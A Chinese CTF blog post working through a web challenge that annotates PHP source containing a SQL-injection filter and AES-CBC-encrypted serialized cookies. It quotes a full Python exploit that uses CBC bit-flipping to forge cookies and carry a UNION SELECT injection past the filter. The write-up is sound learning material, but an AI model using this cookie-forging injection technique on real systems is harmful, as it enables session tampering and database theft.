刚背完科一,脑袋还是晕乎乎的,开始码文,希望各位读者大大,不要骂我,我还是遵守承诺一天一更,用的实验吧
进去给我呈现个这种页面
这种很大几率是注入,注入的话,提交个'试试
我的妈,看看审查元素藏东西没
毛都没有,这是个假站,不做了,告辞!等等我还没试过抓包,试试
返回时,还报了个错,是个大佬,对待大佬,就应该打他!!!
可疑点tips防止表单重复提交打开看看是什么玩意。
源码,这是让我分析吧,这是第一题????这么刺激吗?有点小激动,不过这太乱了我整理一下
("SECRET_KEY", '***********'); #查询KEY,哈哈哈什么鬼,代码作用全靠猜define("METHOD", "aes-128-cbc"); #是个加密方法吧,128-cbc很眼熟error_reporting(0); include('conn.php'); #引用文件function sqliCheck($str){#function应该是定义模块,我看到返回值了。定义函数名sqliCheck接收值后放入$str if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ #这个应该是过滤。if里是条件,再考绕过吗? return 1; #返回1 } return 0; #返回值为0 } function get_random_iv(){ #定义了个函数,不过应该有调用的,看了一下在20行,在下面,结合看一下 $random_iv=''; for($i=0;$i<16;$i++) { $random_iv.=chr(rand(1,255)); #像不像Python里的range扯远了,这里应该是生成数值然后进行字符char进行赋值 } return $random_iv; #返回值 } function login($info){ #登陆,直觉告诉我这个很重要 $iv = get_random_iv();#开始调用上面的那个函数 $plain = serialize($info); #一看就是序列化,serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。 $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); #cookie加密成base64,感觉对我帮助不大,希望没有猜错源码的意思 setcookie("cipher", base64_encode($cipher)); #这个对象$cipher,应该是吧上面的全部加密了 } function show_homepage(){ global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){ $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) { $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); #反序列化跟上面对应,也即是说上面给我登陆时序列化了,然后又反序列化 $sql="select * from users limit ".$info['id'].",0"; #重点,查询语句出现了,select*from users查询这个表单,链接我们提交的ID,后面跟了个0,不明白用处 $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))) { $rows=mysqli_fetch_array($result); echo 'Hello!'.$rows['username'].'';#输出hello,顺便一个username,这样啊,应该是调戏我。 } else{ echo 'Hello!'; } } else{ die("ERROR!"); } } } if(isset($_POST['id'])){ #post方式提交ID $id = (string)$_POST['id']; #再换成字符 if(sqliCheck($id)) die("sql inject detected!"); $info = array('id'=>$id);索引为id,值为$id,好了我大概知道是什么意思了 login($info); echo 'Hello!'; } else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])) { show_homepage(); } else{ echo 'Login Forminput id to loginid'; } }
也可以大佬对其的分析
<?phpdefine("SECRET_KEY", '***********');define("METHOD", "aes-128-cbc");error_reporting(0);include('conn.php');function sqliCheck($str) { //只要匹配到这些字符,就会输出“检测到SQL注入” #解答这道题的关键就在于人如何绕过这个正则的字符过滤 if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) { return 1; } return 0;}function get_random_iv() { $random_iv=''; for($i=0; $i<16; $i++) { $random_iv.=chr(rand(1,255)); } return $random_iv;}function login($info) { $iv = get_random_iv(); $plain = serialize($info); #序列化的意义 /***************** <?php #序列化的意义在于将数组从内存中存储到硬盘中,减轻内存的使用量 #另一个用途就是在网络上传送字节序列 $a=array("test","abc","desdf","12345","博客","www.jb51.net","heqile","个人博客"); $b=serialize($a); print_r($b); #a:8:{i:0;s:4:"test";i:1;s:3:"abc";i:2;s:5:"desdf";i:3;s:5:"12345";i:4;s:6:"博客";i:5;s:12:"www.jb51.net";i:6;s:6:"heqile";i:7;s:12:"个人博客";} #仔细观察一下,应该不难发现序列化之后的字符串格式是有规律的: #a:8--->含有8个元素的数组 #i:0;s:4:"test"--->在数组中的索引为0,字符串长度为4,字符串是test echo "<br/>"; $c=unserialize($b); print_r($c); #Array ( [0] => test [1] => abc [2] => desdf [3] => 12345 [4] => 博客 [5] => www.jb51.net [6] => heqile [7] => 个人博客 ) ?> *****************/ $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); setcookie("iv", base64_encode($iv)); setcookie("cipher", base64_encode($cipher));}function show_homepage() { global $link; if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])) { $cipher = base64_decode($_COOKIE['cipher']); $iv = base64_decode($_COOKIE["iv"]); #反序列化,解密,这些参数的意义我也不太清楚,不是很了解openssl这个加密算法 if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) { $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); #我们必须要想办法把后面的 ,0 注释掉,不然我们是不可能看到结果的 $sql="select * from users limit ".$info['id'].",0"; $result=mysqli_query($link,$sql); if(mysqli_num_rows($result)>0 or die(mysqli_error($link))) { $rows=mysqli_fetch_array($result); echo ' Hello!'.$rows['username'].' '; } else { echo ' Hello! '; } } else { die("ERROR!"); } }}if(isset($_POST['id'])) { $id = (string)$_POST['id']; if(sqliCheck($id)) die("sql inject detected!"); $info = array('id'=>$id); #声明了一个数组,索引为字符串'id',值为$id login($info); #登录,并返回Cookie值 echo 'Hello!';} else { if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])) { show_homepage(); } else { echo 'Login Form input id to login'; }}?>--------------------- 作者:virtu41 原文:https://blog.csdn.net/include_heqile/article/details/79942993
这种玩意,要么绕过,
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str))
这个过滤了union|like|procedure
要么就是查询哪里做文章
$sql="select * from users limit ".$info['id'].",0";
还有一个就是它说的加密方法。要不一般的网站谁说,肯定是提示
define("METHOD", "aes-128-cbc");
去看一下攻略吧
跟我分析的差不多
cipher=uFv%2FLnn3XcSGf%2F3ntf0PtDF6PauIqNXK6QDDyo%2B0ftw%3D
iv=GqyyISNg8M6YEV3GuT%2BtYw%3D%3D
找了个大佬的exp
import requests,base64,urllib,math
def work(): url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php' payload = '0 union select 1,value,3 from you_want limit 1#' #payload = 'x'*20
plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload) badText = 'x'*16 if len(plaintext)%16: if len(plaintext)%16>3: badText = 'x'*(len(plaintext)%16-3)+'";}' elif len(plaintext)%16 == 3: badText = '";}' elif len(plaintext)%16 == 1: badText = '}' else: badText = ';}' r = requests.post(url,data={'id':'x'*len(payload)}) sc = r.headers['Set-Cookie'].split(',')
iv = 'a'*16 cipher = sc[1][sc[1].find('=')+1:] blockNum = len(cipher)/16 cipher = base64.b64decode(urllib.unquote(cipher)) blockNum = len(cipher)/16 cipherBlock = [iv] cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)] plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]
for i in xrange(blockNum-1,-1,-1): s1 = plainBlock[i] s2 = cipherBlock[i] tmp = ''
for j in xrange(len(s1)): tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))
cipherBlock[i]=tmp+s2[len(tmp):] if i == 0: iv = cipherBlock[0]
iv_new = urllib.quote(base64.b64encode(iv)) cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:]))) headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}
r = requests.get(url,headers=headers)
if i != 0: tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")] badText = base64.b64decode(tmp)[16*(i-1):16*i] else: print r.text.encode('gb18030')
work()--------------------- 作者:r00tnb
但是原理不懂,有exp来做题,那对自己的帮助不大,
找了张原理图,来看一下加密的流程,英语不好的我,顺便汉化,如下
解密就是倒过来
$id = '12';$info=array('id'=>$id);$plain = serialize($info);结果为: a:1:{s:2:"id";s: 2:"12";}16个字节为一行,不足者填充,2对应上一行中的{由CBC加密的方式我们可以知道,{位置的值会影响到2位置的值其实这个问题很好解释:约定half_plain为第二组使用秘钥解密后的字符串,则有:half_plain^{=2我们现在想让右边变成#,则有:half_plain^{^2^#=2^2^#所以我们就要将{对应的位置改为{^2^#在脚本中是这样表达的: cipher_raw=b64decode(urllib.unquote(cipher)) #先进行url解码,再使用base64解码,得到原始密文 lst=list(cipher_raw) #将密文转换成列表的形式,以便于对单个字节进行操作 idx=4 c1 = '2' c2 = '#' lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) cipher_new=''.join(lst) #将列表转换成了字符串 cipher_new=urllib.quote(b64encode(cipher_new)) #对原始密文base64转码,并进行url编码--------------------- 作者:virtu41
其实到这里我感觉这道题的翻转去用来绕过这个过滤的,因为时间的关系,只能先搁浅了,只能说是未做完的题目,因为今天要考了科一,所以没有什么状态,这篇文也是匆匆赶出来的,为了保证一天一篇文章,也不申请什么原创了,引用了太多大佬的,东西,原文的链接我已经挂到公众号下面了,点击原文即可查看,我要好好琢磨一下,然后再从新写。抱歉